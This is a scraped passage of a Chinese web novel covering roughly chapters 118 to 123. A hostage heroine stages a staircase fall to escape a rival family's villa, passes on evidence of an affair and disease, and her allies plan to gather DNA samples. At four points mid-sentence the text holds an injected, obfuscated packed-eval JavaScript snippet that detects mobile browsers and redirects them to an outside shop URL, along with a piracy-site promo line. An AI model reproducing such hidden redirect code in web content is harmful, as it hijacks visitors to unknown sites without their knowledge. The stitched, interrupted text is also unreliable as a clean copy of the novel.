她一个新孀的寡妇,和小叔子同时得上这种脏病……别人会怎么想?她的脸面!宇轩的**!她费尽心机、隐忍二十年才得到的一切!都将化为泡影! “啊——!” 她发出一声压抑的、如 同困兽般的尖叫挥手将梳妆台上所有昂贵的瓶瓶罐罐全都扫落在地!清脆的碎裂声伴随着她绝望的呜咽在空旷的浴室里回响。 第二天整个赵家别墅都笼罩在一种低气压之下。梁美玲一夜未眠变得异常暴躁和警惕对佣人动辄打骂整个别墅的人都战战兢兢。 被软禁在阁楼的陈瑶也敏锐地察觉到了这种不寻常的气氛在这种人人自危的环境里你越是软弱可欺就越容易成为别人发泄怒火的垃圾桶。 而且从昨晚上开始陈瑶在看到他们对待自己和林晚晴截然不同的态度后就明白了他们不敢把自己怎么样是因为自己还有用他们还要拿自己去要挟哥哥利用自己去谈判。 想明白后她索性撕掉了之前的“受气包”伪装将陈家大小姐的骄纵跋扈当成了自己的保护色。 她故意借口房间的香薰味道不对大吵大闹地冲下楼。 正撞见别墅里来了几个穿着白色防护服、背着消毒器械的陌生男人正在对客厅的沙发、地毯进行全面消杀。空气中弥漫着一股刺鼻的消毒水味。 “这是在干什么?!”陈瑶捏着鼻子一脸嫌恶地对管家嚷道“家里**了吗?搞得这么晦气!” 管家被她一喝吓得一哆嗦连忙解释道:“陈小姐是……是夫人吩咐的说是要……除除晦气杀杀菌。” 除晦气需要穿成这样?陈瑶心中冷笑但面上却不露声色只是撇了撇嘴一脸“算你们识相”的表情转身朝着阁楼走去。 阁楼的房间里林晚晴正形销骨立地坐在地毯上。她被关在这里几天每天只有一顿冷饭整个人都脱了相。 陈瑶推门进去将一盘还冒着热气的点心重重地放在她面前的茶几上居高临下地看着她。 “吃吧别真把自己饿**到时候还得我给你收尸。”陈瑶的语气里充满了不屑。 林晚晴抬起头眼中满是怨毒。 陈瑶却像是没看见 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)自顾自地坐到沙发上修着自己新做的指甲用一种漫不经心的语气说道:“晚晴姐你说你是不是傻?我们当初可是‘好姐妹’有事一起扛。现在出了事你就自己把所有错都揽了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771274|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个赵宇轩把你当狗一样使唤你还真给他当狗啊?” 她顿 了顿,话锋一转,声音里带上了几分“同仇敌忾”的煽动意味:“依我看,配方根本就没问题!就是他们赵家自己生产线垃圾,技术不行,才做不出好东西!现在倒好,把我们两个女人推出来当替罪羊!你看看楼下,搞得跟个生化基地一样,到处喷消毒水,说是赵建邦那个老东西病了,我看啊,是心里有鬼,怕遭报应吧!” 林晚晴被她这番话说的,眼中也燃起了一丝求生的火焰。是啊,凭什么自己要在这里等死? 陈瑶见状,又轻蔑地瞟了一眼楼下的方向,继续冷嘲热讽:“还有那个姓楚的,真以为自己怀了个龙种。我看啊,她就是个扫把星!她一来,赵家就没一件好事!现在赵建邦都快不行了,她那个‘金孙’生下来给谁看?给鬼看吗?” 她嘴上不饶人,但其实一直暗中观察,她的余光注意到楼下梁美玲正失魂落魄地坐在客厅的沙发上,眼神空洞,下意识地、反复地用手去抓挠自己的后颈,动作充满了焦虑和厌恶。 陈瑶心中一动,立刻蹑手蹑脚地躲在二楼楼梯的拐角处,悄悄观察。 就在梁美玲因为瘙痒而烦躁地扯了一下衣领的瞬间—— 陈瑶的瞳孔猛地一缩! 她看到了!从她这个居高临下的角度,清清楚楚地看到了梁美玲后颈处那片触目惊心的红疹! 和报纸上赵建邦身上的,一模一样! 一个大胆又让她自己都感到恶心的念头,疯狂地涌上了她的心头! 她不懂医,更不知道那红疹到底是什么病。但她知道这几天港市的八卦小报上,是怎么铺天盖地地用“私生活糜烂”、“风流恶疾”这样肮脏的词汇来形容赵建邦的! 而现在,这种“风流病”的症状,竟然也出现在了梁美玲的身上?! 这说明什么? 陈瑶不敢再想下去,只觉得一阵反胃。她虽然单纯,但不是傻子。她立刻意识到,自己发现了一个天大的、足以引爆整个港市上流社会的丑闻!这个秘密,比任何商业上的失败,都更能将赵建邦和梁美玲彻底钉死在耻辱柱上! 她强迫自己冷静下来,没有声张。自己必须立刻、马上,将这个发现告诉哥哥! 第119章 请神容易送神难 她躺在床上,辗转反侧,脑子里疯狂地思考着传递情报的方法。 忽然,她想起白天梁美玲在书房打电话时,桌上放着的那部黑色的、像砖头一样的大哥大。 陈瑶的心脏狂跳起来。 她等到凌晨两点,确认所有人都已熟睡。她悄悄地拧开房门,像一只灵巧的猫,赤着脚,踩在厚厚的地毯上,没有发出一丝声音。 走廊里的感应灯昏暗地亮着,在墙上投下她被拉长的、晃动的影子,显得格外诡异。 书房的门没有反锁。她轻轻一推,闪身进去。 大哥大就静静地放在书桌的正中央。 陈瑶屏住呼吸,拿起那个沉甸甸的“砖头”,就在她准备拨出那个烂熟于心的加密号码时,书房门口,一道黑影无声无息地出现了! 是巡夜的保镖! 陈瑶的血液在瞬间凝固了!她吓得魂飞魄散,手一抖,大哥大“啪”的一声掉在了地上! “谁在那里?!”保镖厉声喝道,同时伸手去按墙上的灯和警报! 完了! 陈瑶的大脑一片空白!一旦被抓到,她偷用大哥大的行为根本无法解释,所有的计划都会功亏一篑! 就在这千钧一发之际,她几乎是出于求生的本能,将自己“骄纵草包”的人设发挥到了极致! 她没有躲藏,反而“哇”的一声大哭起来,一屁股坐在地上,一边哭一边胡乱地拍打着地面,像个半夜偷糖吃被抓包的三岁小孩。 “呜呜呜……我睡不着……我想我哥了……我想给他打电话……呜呜呜……” 保镖被她这突如其来的操作搞蒙了。他打开灯,看到是这位娇生惯养、脑子不太好使的“人质”小姐,脸上的警惕立刻化为了无奈和厌烦。 “陈小姐,现在是半夜!您不能乱跑,更不能乱动夫人的东西!” “我不管!我就要打电话!我要回家!”陈瑶索性耍起了无赖,一边哭一边去抢那个大哥大。 这场闹剧,很快惊动了楼上的梁美玲。她披着睡衣下来,看到这幅场景,气得太阳穴突突直跳。 “把她给我带回房间去!锁起来!”梁美玲厉声喝道,“再让她出来乱跑,我唯你们是问!” 陈瑶被两个保镖“架”回了房间,门被“ 砰”的一声从外面锁上。 “放我出去!你们这群狗奴才!凭什么关着我!” 她抓起床头的台灯,狠狠地朝着墙壁砸去!“砰”的一声巨响,伴随着玻璃碎裂的声音,在寂静的深夜里显得格外刺耳。 紧接着,是花瓶、是相框、是所有她能够得着的东西! “我要回家!我再也不要待在这个鬼地方了!” “这个疯子!”梁美玲在楼下听着那没完没了的砸东西和哭嚎声,气得太阳穴突突直跳。她抓起一个抱枕,狠狠地扔向墙壁,精致的妆容因为愤怒而显得有些扭曲。 她几次都想冲上楼,让保镖给那个不知死活的小丫头打一针镇定剂,让她彻底闭嘴! 但理智,又强行将她按在了沙发上。 她疲惫地揉着眉心,只觉得焦头烂额。展销会的惨败,股价的雪崩,赵建邦入院后查出的“恶疾”,董事会那些老家伙们的逼宫,还有自己身上出现的红疹……每一件事,都像一座大山,压得她喘不过气来。 而现在,又多了一个陈瑶这个烫手山芋! “当初真不该把她弄回来!简直是请回来一尊瘟神!”她恨声骂道。 可转念一想,她又不得不承认,这个“瘟神”,或许是她现在手中,为数不多的、还能打出去的牌了。 不能再等了!必须立刻用陈瑶这张牌,去和陈慕白谈判! 她需要的是喘息的时间和翻盘的筹码!她可以拿陈瑶的安全,去要挟陈慕白,让他暂时停止对赵氏集团的商业打压,甚至,可以逼他交出一部分“凝悦”的技术,作为“赎金”! 顺便把这个疯丫头快点送出去,她再待下去自己的心脏都要停跳了! 对!就这么办!明天一早,她就联系陈慕白! 就在楼下梁美玲心神不宁之时,楼上陈瑶看着一地狼藉毫不在意,她在努力思考。 硬闯不行,偷窃不行……那还有什么办法能名正言顺地出去? 除非……除非自己出了“意外”! 一个大胆又狠绝的念头,在她的脑海中冒了出来。 她想到小时后在哥哥书房里看的三十六计其中有个苦肉计。 不就是演戏吗?那就演一出大的! 哼!明天老娘要出血,那今天你们就先出点血 吧!她砸的更起劲了。整个别墅,被她搅得一夜未宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771275|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 第二天一早,梁美玲让人把她放出来,打算一会儿带她去找陈慕白谈判。 陈瑶顶着两个硕大的黑眼圈,脸上还挂着哭过的痕迹,失魂落魄地走出了房间。经过昨晚那一闹,保镖也是怕了她,只是远远地跟着,眼神里充满了厌烦。 陈瑶慢悠悠地晃到餐厅,正看到楚小小在女仆的伺候下,小口地喝着顶级燕窝。 楚小小看到她,眼中闪过一丝轻蔑和幸灾乐祸。在她看来,陈瑶这种没脑子的蠢货,就是被人卖了还帮人数钱的典型。 陈瑶像是没看到她的眼神,径直走到她身边,脸上挤出一个比哭还难看的笑容,用一种阴阳怪气的、仿佛自言自语的调调说道: “哎呀,还是我们楚小姐命好啊。这都什么时候了,还有心情喝燕窝。不像我们,被人当枪使,现在有家不能回,还被人当犯人一样关着。 楚小小脸色一变,放下杂志,冷冷地看着她:“陈瑶,你发什么疯?别来惹我! “我惹你?陈瑶像是听到了天大的笑话,她一步步地走近,围着楚小小转了一圈,目光在她那高高隆起的肚子上流连,啧啧称奇。 “我就是好奇,你这肚子里装的,到底是‘金元宝’,还是‘催命符’啊?她伸出手,作势要去摸楚小小的肚子,“让我摸摸,沾沾喜气。说不定啊,我也能像你一样,母凭子贵呢? 楚小小吓得立刻从沙发上弹了起来,护住自己的肚子,厉声喝道:“你干什么?!离我远点! 她现在是孕晚期,肚子里的孩子是她唯一的指望,看得比自己的命还重要。而陈瑶这几天在别墅里疯疯癫癫的样子,所有人都看在眼里。她真怕这个疯女人会对自己和孩子不利! 两人正对峙在二楼的旋转楼梯口。 陈瑶看着楚小小那副紧张得如同护崽母鸡的模样,嘴角的笑意更冷了。她的目光,状似无意地扫过那光洁滑亮的大理石楼梯。 “摸一下又不会掉块肉,紧张什么?陈瑶故意装出满不在乎的样子,再次朝着楚小小的肚子伸出手。 “你别过来!楚小小被她逼得连连后退,已经退到了楼梯的边缘。她看着陈瑶那不怀好意的笑容,心中警铃大作,以为她真的要对自己下毒手。 情急之下,楚小小想都没想,伸出手,对着陈瑶的肩膀,狠狠地推了一把! “啊——! 第120章 苦肉计和百草堂 陈瑶发出一声凄厉的惨叫! 但她并没有真的被推倒,而是在楚小小推过来的那一瞬间,借着那股力道,身体极其巧妙地向后一仰,同时脚下“一滑”,整个人顺着那几节楼梯,以一个看起来极其惊险、实则被她控制了力道和角度的姿势,滚了下去! 她没有让自己摔得很重,但姿势却足够狼狈,额头在最后一节台阶的棱角上,故意重重地磕了一下! 鲜血瞬间就从她的额角流了下来,与她那张苍白又惊恐的脸,形成了触目惊心的对比。 “**啦!救命啊!”陈瑶躺在地上,抱着自己的头,发出了比刚才更凄厉、更惊恐的嚎哭声,“楚小小要杀我!赵家要**灭口了!呜呜呜……哥!救我!他们要杀了我!” 整个别墅,瞬间被她的哭喊声引爆! 佣人和保镖都冲了过来,看到这“血腥”的一幕,全都吓傻了。楼梯上的楚小小,更是被眼前这突如其来的一幕吓得面无人色,指着地上的陈瑶,嘴唇哆嗦着,一个字也说不出来:“不……不是我……是她自己……” 梁美玲闻讯从书房赶来,看到这幅场景,也是气得眼前一黑! 这个陈瑶,简直就是个让人不省心的瘟神! 她还没来得及发作,地上的陈瑶就已经将矛头对准了她,一边哭一边指着她,声嘶力竭地喊道: “梁美玲!是你!一定是你指使她这么干的!你想杀了我,好让我哥投鼠忌器,再也不敢跟你们作对!你好恶毒的心!” 她一边哭,一边手脚并用地朝着大门口爬去,像要逃离一个**的魔窟:“我要报警!我要告诉我哥!我要让全港岛的人都知道,你们赵家不仅商业欺诈,还要**灭口!我跟你们拼了!” 这话一出,梁美玲的脸色彻底变了! 商业欺诈的丑闻还没平息,如果再闹出“赵家**、谋害京市陈家大小姐”的新闻,那赵家就真的万劫不复了!陈慕白那个笑面虎,绝对会借此机会,把赵家往死里整! “快!拦住她!”梁美玲惊慌地对保镖喊道。 但陈瑶此刻就像个真正的疯子,又踢又咬,谁也拦不住。 “不能让她出去!”梁美玲立刻做出了判断,她对着管家厉声命令道,“快!叫医生!不!直接备车!送她去医院!用 我们家最好的车去港市最好的医院!快!” 她知道这个时候必须立刻做出“积极救治”的姿态才能堵住悠悠众口。 陈瑶听到“去医院”三个字 劳斯莱斯在夜色中划出一道黑色的闪电用一种近乎蛮横的速度冲向港市最顶级的私立医院——圣玛丽医院。 车内陈瑶靠在柔软的真皮座椅上额头上的血迹已经开始凝固让她那张原本娇俏的脸看起来有几分触目惊心的脆弱。她闭着眼一动不动仿佛已经因为失血和惊吓而晕厥过去。 但实际上她的内心正前所未有地清明和激动。 成了! 她已经知道了那个能把赵家彻底钉死的惊天秘密——“梅毒红疹”更用一场“苦肉计”为自己送出赵家大门! 梁美玲那个老妖婆为了撇清关系为了堵住媒体的嘴一定会把自己安排进最好的病房请最好的医生。而哥哥陈慕白在得知自己“重伤入院”后也一定会第一时间赶来“兴师问罪”! 既然都去了医院梁美玲有什么理由不让他们兄妹相见? 到那时就是她传递情报的最好时机! 陈瑶在心里默默地给自己点了个赞。 我的演技太妙了人也聪明以后要不真的去拍戏吧! 车子一路疾驰朝着港市最顶级的私立医院——圣玛丽医院的方向驶去。 劳斯莱斯直接驶入了医院的VIP急诊通道早已接到通知的医护人员一拥而上。陈瑶被抬上担架送进了急诊室。 梁美玲为了做出“高度重视”的姿态不仅为陈瑶安排了最好的创伤专家更直接包下了顶楼一整层的VIP病房。但同时她也派了两名身材最高大、眼神最凶悍的保镖以“方便照顾陈小姐”为名像两尊门神一样寸步不离地守在了病房门口。 名为照顾实为监视。—— 就在赵家因为展销会被搅得天翻地覆之时霍家大宅的后花园里却是一片难得的宁静。 午后的阳光温暖和煦白凝凝正在为已经能下床行走的霍老爷子进行例行复诊。 她收回搭在老爷子腕脉上的手指那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771276|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清冷的秀眉,却几不可察地微微蹙起。 不对劲。 霍老爷子的脉象,好得有些过头了! 按照她的针法,配合“鸾凤佩的灵气滋养,最多只能让他气血平稳,神智清明。可现在,他的脉象沉稳有力,如老树盘根,经脉中甚至还萦绕着一股她极为熟悉的、精纯的草木药力。这股药力,温和而又霸道,绝不是市面上那些普通的参茸补品能达到的效果。 这种独特的药力配伍手法……让她隐隐感到一丝熟悉,像是在哪里见过。 施针结束后,凝凝一边收拾针包,一边状似无意地对陪在一旁的霍思晴说道:“霍小姐,老爷子恢复得比我预想中还要快,是好事。看来除了我的治疗,你们霍家也给他用了不少天材地宝啊。 经过这些天的复诊和上次的忠告,霍思晴此时对凝凝已是颇为信任,她毫无防备地笑着回答: “不瞒您说,白医生。我爷爷之前因为赵家退婚之事心烦意乱时,我曾带他去城南上环街的一家老药铺‘百草堂’求过药。那里的坐堂先生非常神秘,只开了三副药,就让我爷爷的精神好了很多。我看效果不错,就一直让他搭配着您的针灸一起服用。 “百草堂?凝凝的心中微微一动,对那位能开出如此精纯药力的医生,产生了浓厚好奇。 港市果然藏龙虎卧,等处理完赵家的事,一定要去拜访一下这位高人,切磋一下医术。 就在她想进一步询问关于“百草堂和“玄先生的更多细节时,一直安静地坐在一旁像个称职保镖的傅清寒,口袋里的加密卫星电话,突然发出了急促的震动声。 他拿出电话看了一眼来电显示,那**不变的冰山脸,猛地一沉! 凝凝立刻察觉到他的气场变了,便将到嘴边的话咽了回去。 傅清寒起身走到一旁,接起电话,只听了不到十秒,他周身的气压便骤然降低,一股冰冷的怒火,从他深邃的眼眸中迸发出来。 他挂了电话,大步走回凝凝身边,声音低沉而又充满了不容置喙的命令意味:“凝凝,我们得立刻回去。 他对霍思晴微微颔首,算是告辞,然后直接拉起凝凝的手,大步朝外走去。 第121章 医院传递情报 安全屋别墅,客厅。 陈慕白、苏文赫和赵承熙正在对着一张巨大的关系网图,讨论着针对赵家的下一步**攻势。 就在这时,别墅的大门被猛地推开。 傅清寒拉着脸色同样凝重的白凝凝,快步走了进来。 “出什么事了?”陈慕白立刻察觉到不对,他很少在傅清寒的脸上看到如此外露的、压抑着怒火的情绪。 傅清寒没有直接回答,而是走到沙发前,先小心翼翼地将凝凝安顿好,又给她倒了一杯温水,确认她坐稳了,才缓缓地转过身。 他那双深邃的黑眸,扫过在场的三人,最后,落在了陈慕白的脸上。 他的声音低沉得可怕,像一块投入深潭的巨石: “……瑶瑶出事了。” “什么?!” “我们在医院的内线刚刚传来消息。就在半小时前,陈瑶在赵家别墅的楼梯上‘意外’摔倒,头部受伤,失血不少,已经被梁美玲紧急送往了圣玛丽医院的VIP病房。” 陈慕白只觉得眼前一黑,浑身的血液仿佛在瞬间被抽空!他一个踉跄,扶住身后的沙发,才没有当场摔倒。 “瑶瑶……她怎么样了?伤得重不重?”他声音发颤,那副失态的模样,是他从未有过的。 傅清寒沉声说道:“具体情况不明。梁美玲为了撇清关系,做足了姿态,瑶瑶暂时没有生命危险。既然他们治疗姿态这么积极,主动下手就说不通了。更何况他们没必要激怒于你,对他们没有好处。也许是瑶瑶发现了什么,要用苦肉计把消息传出来。 “苦肉计……”陈慕白喃喃地重复着这三个字,他闭上眼,再睁开时,那双温润的眸子里,已经布满了滔天的怒火和无尽的自责! 早在陈瑶决定放弃撤离,继续潜伏的那一刻,傅清寒立刻启动了最高级别的应急预案。他动用了所有能动用的资源,在赵家别墅的外围,布下了一张天罗地网。赵家的一举一动,都在他们的严密监视之下。 但内部的渗透,需要时间。 谁也没想到,陈瑶的动作会这么快,这么……决绝! “是我错了……”他一拳重重地砸在桌面上,声音沙哑,“我从一开始,就不该同意让她掺和进来!她只是个孩子,她懂什么卧底,懂 什么勾心斗角?!如果她真的出了什么事……我怎么跟爸妈交代?我怎么跟我自己交代?! “现在不是自责的时候。傅清寒走上前,按住他的肩膀,声音冷静而又坚定,“瑶瑶用这种方式换来的机会,我们不能浪费。我们必须立刻去医院,第一,确认她的安全;第二,拿到她想传递的情报;第三…… 他的眼中闪过一丝冰冷的寒芒: “……向赵家,讨一个说法。 —— 第二天一早,圣玛丽医院的VIP病房外,气氛剑拔**张。 梁美玲亲自守在门口,脸上挂着虚伪的歉意和恰到好处的关切,正准备应对即将到来的“**。 果然,电梯门一开,陈慕白便带着傅清寒和白凝凝,在一群黑衣保镖的簇拥下,浩浩荡荡地走了过来。 陈慕白的脸上,再也不见平日的温文尔雅。他面沉如水,推了推鼻梁上的金丝眼镜,镜片后的目光冰冷刺骨。 “赵夫人, 梁美玲立刻换上一副痛心疾首的表情,叹了口气:“陈先生,实在是对不住。都是孩子们之间起了点小误会,瑶瑶这孩子性子急,脚下没站稳,不小心摔了一跤。我们都心疼坏了,这不,第一时间就送到了全港最好的医院,请了最好的医生。 “误会?陈慕白冷笑一声,“我妹妹的头缝了八针,轻微脑震荡。赵夫人一句轻飘飘的‘误会’,就想把事情揭过去吗? 他上前一步,气势逼人:“我不管是什么误会。我现在要立刻见到我的妹妹!并且从现在开始,她的所有治疗和看护,将由我们的人接手。在瑶瑶康复之前,我不希望任何赵家的人再出现在她面前,刺激到她! 这番话,强硬而不容反驳! 梁美玲心中暗恨,但面上却只能连连点头:“应该的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771277|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该的。陈先生护妹心切,我完全理解。你们快请进吧,瑶瑶也一直念着你呢。 在陈慕白的强硬要求下,梁美玲只能让他们进去“探望。但只允许作为医生的白凝凝和作为亲属的陈慕白两人进入,傅清寒则被她以“傅部长身份敏感,不便进入私密病房为由,和 两家的保镖们一起,留在了门外。 傅清寒没有反对,只是找了个离门口最近的位置坐下,那双鹰隼般的眸子,冷冷地盯着病房的门,像一尊沉默的守护神。 病房内,陈瑶躺在床上,头上缠着厚厚的纱布,脸上挂着泪痕,看到哥哥后立刻“哇”的一声哭了出来:“哥!你可算来了!” 陈慕白快步上前,坐在床边,看着妹妹额头上那道刺目的伤口,心中一痛。他伸出手,想碰又不敢碰,最终只是用指腹轻轻地、颤抖地碰了碰她伤口旁的皮肤,声音里是前所未有的沙哑和心疼: “……疼吗?” 一句话,让陈瑶所有强装的坚强瞬间崩塌。她再也忍不住,扑进哥哥怀里,放声大哭。这不是演戏,是劫后余生的真情流露。 陈慕白紧紧地抱着她,拍着她的背,眼中满是自责。 就在这时,白凝凝走上前,轻声说道:“慕白哥,让我先给瑶瑶看看伤口。” 她以“检查伤口”为由,拉起了病床周围的白色围帘,隔绝了门口保镖窥探的视线。 在帘子隔出的狭小空间里,凝凝一边假装拆开纱布,用棉签轻轻擦拭着,一边用只有两人能听到的声音快速说道:“瑶瑶,做得很好。有话快说。” 陈瑶立刻止住哭声,用最快的语速,将自己所有的发现倾泻而出: “展销会失败后,赵家在找一个叫‘白石大师’的人,梁美玲在电话里说,要让他用‘下蛊’的办法,让你‘无声无息地消失’!” “还有!”她压低声音,说出了那个最关键的情报,“赵建邦入院后,我发现梁美玲的脖子上,也出现了和他一模一样的红疹!我确定我没看错!” 凝凝心中巨震! 第122章 兄长的抉择 “下蛊”……“红疹”…… 凝凝心中巨震!她不动声色地对陈瑶说:“我知道了。你安心在这里‘养伤’,我们会想办法。记住,继续演下去,就说你受到了惊吓,精神恍惚,谁也不想见。” 检查完毕,帘子拉开。 陈慕白看着妹妹,深吸一口气,像是下定了某种决心。他俯下身,一字一句地,在她耳边郑重起誓: “瑶瑶,你放心。你这次受的所有委屈,吃的所有苦,哥都记着。等我们回去,哥一定原原本本地,把所有事都告诉陆泽远。哥保证让他知道,我们陈家的小公主,在港市到底有多勇敢。” 交代完一切,凝凝和陈慕白拉开帘子,走了出去。 凝凝和陈慕白走出病房。陈慕白对着梁美玲,冷冷地扔下一句话:“我妹妹因为在贵府受到了严重的精神创伤,现在情绪极不稳定,需要绝对的静养。在她康复之前,除了我们和院方指定的医生,她谁也不见。” 说完,他便不再看梁美玲那张铁青的脸,和凝凝等人拂袖而去。 —— 回到安全屋的车上,气氛压抑。 凝凝将陈瑶带来的情报一说,“这不是普通的皮肤病。如果我没猜错,赵建邦和梁美玲,都染上了梅毒。” 车内瞬间死寂! “梅毒?!”赵承熙第一个失声,他那双隐藏在镜片后的眼睛,瞬间被滔天的恨意染红! “赵建邦……梁美玲……”他咬牙切齿地念着这两个名字,声音如同从地狱传来。 恶心、**和滔天恨意的怒火,瞬间冲上了他的头顶! “畜生!简直是畜生!”赵承熙一拳狠狠地砸在桌子上,他终于明白,为什么梁美玲和赵建邦会联手,为什么赵建邦会那么不遗余力地扶持赵宇轩这个废物!原来……他们才是一家人! 原来,自己和枉死的母亲,从一开始就活在一个由叔叔和继母共同编织的、肮脏的骗局里! 车内的其他人,也震惊得得说不出话来。 陈慕白最先从震惊中回过神来,他推了推眼镜,镜片后的目光变得异常锐利。他立刻意识到了这个情报的致命性。 “如果这个推论成立,”他沉声说道,打破了车内的死寂,“那么,赵宇轩的身份,就极有可能是 赵建邦的儿子。这件事一旦公开就是赵家最大的耻辱!比任何商业上的失败,都更能将他们彻底摧毁!” “没错!”苏文赫也重重地点头,眼中闪烁着复仇的火焰,“我们必须拿到证据!证明赵宇轩是赵建邦的儿子!只要有了这个,别说那些墙头草董事,港市所有的名流,都会立刻和他们划清界限!” 赵承熙猛地抬起头,那双布满血丝的眼睛里燃烧着复仇的火焰。他看向傅清寒,声音沙哑而又急切: “傅部长!我们必须立刻动手!赵建邦现在就在圣玛丽医院,安保肯定不如别墅森严。而赵家别墅那边,现在陈瑶还在,虽然危险,但她或许能找到机会拿到赵宇轩的毛发。只要我们拿到样本,就能立刻做鉴定!” 傅清寒靠在座椅上,面沉如水。他看了一眼满是仇恨的赵承熙,缓缓地点了点头。 “好。”他的目光扫过众人,开始有条不紊地部署任务: “苏文赫,医院那边交给你。不要惊动院方,买通一个清洁工,我需要赵建邦用过的枕套或者剃须刀片,必须带有毛囊组织。” “是!” “慕白,”傅清寒的声音顿了顿,他正准备说出让瑶瑶以‘和解’、‘道歉’的名义,回到赵家。再找机会,从他的西装上、梳子上,或者任何他接触过的地方,获取他的头发。 却在抬眼的一瞬间,看到了陈慕白脸上那一闪而过的、极力压抑却依然无法掩饰的担忧和挣扎。 他那句“联系瑶瑶”的话,到了嘴边,又被他咽了回去。 他何等敏锐,瞬间就明白了好友心中那份作为兄长的煎熬。他若无其事地跳过了这个环节,转向了备用方案: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771278|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “至于赵宇轩那边……我会派我的人想办法潜入。你们等我消息。” 傅清寒的这个小小的停顿,让车内的气氛瞬间变得有些微妙。 凝凝和赵承熙都看出了端倪,没有说话。 所有人都知道目前赵家草木皆兵,在赵宇轩身边并没有合适的“棋子”,让陈瑶去接近赵宇轩显然是最优解。 而陈慕白,察觉到傅清寒的停顿,明显是跳过了陈瑶,为了不让自己这个兄长担心而准备采用其他更高风险的“潜入”方案时,心中却像是被什么东西狠狠地撞了一下。 他低着头,看着自己那双因为紧张而攥紧的拳头,陷入了剧烈的天人交战。 他刚才确实怕了。一想到瑶瑶那张带血的脸,他就心如刀绞。可是…… 他的脑海里,不受控制地浮现出瑶瑶在病床上,那双哭红了、却异常明亮坚定的眼睛。 浮现出她决定留下时,那份决绝和勇敢。 浮现出她在展销会上,那场堪称完美的“影后级”表演。 自己不是早就见识过瑶瑶的演技了吗? 自己不是早就感慨过,那个骄纵的小丫头,终于长大了吗? 自己不是早就为她的成长,感到由衷的骄傲吗? 为什么到了关键时刻,自己却退缩了? 他意识到,自己嘴上说着相信妹妹,骨子里,却还是把她当成了那个需要被保护、什么都做不好的小女孩。 瑶瑶用一场“苦肉计”,冒着生命危险留下来,为的是什么?不就是为了能亲手为这场战争贡献一份力量,证明自己的价值吗? 如果自己因为一己私心,剥夺了她这个机会,让她所有的努力和牺牲都变得毫无意义……那对她来说,是保护,还是另一种形式的、更残忍的“不信任”和“否定”? 他要做的,应该是阻止她?还是相信她,并动用所有的力量,去保障她的绝对安全,让她能毫无后顾之忧地,去完成她想做的事? 第123章 楚小小早产,冲喜的赵家第四代? 或者自己把风险都说清楚,让瑶瑶自己来做决定才是真正的尊重。 想通了这一点,陈慕白只觉得心中豁然开朗。他那因为担忧而紧绷的神经终于放松下来。 无论瑶瑶做出怎样的决定,自己作为兄长都会好好保护她。 他缓缓地抬起头,那双通红的眼睛里,挣扎和痛苦已经褪去,取而代之的,是清明和。坚定 他迎着傅清寒那询问的目光,第一次主动地将自己的妹妹,推上了这个没有硝烟的战场。 “清寒,”他开口了,声音虽然还有些沙哑,却异常沉稳,“赵宇轩那边,不用派你的人了。” 他深吸一口气,一字一句地说道: “我会和瑶瑶谈。” “我相信她。她知道该怎么做。” “我们要做的,就是为她铺好路,清除掉所有的障碍。让她去完成这致命的一击。” 傅清寒看着好友眼中那重燃的光芒,没有多说废话,只是重重地点了点头,沉声承诺: “慕白,有我们做哥哥的在,瑶瑶的身上不会再多一道伤口。” 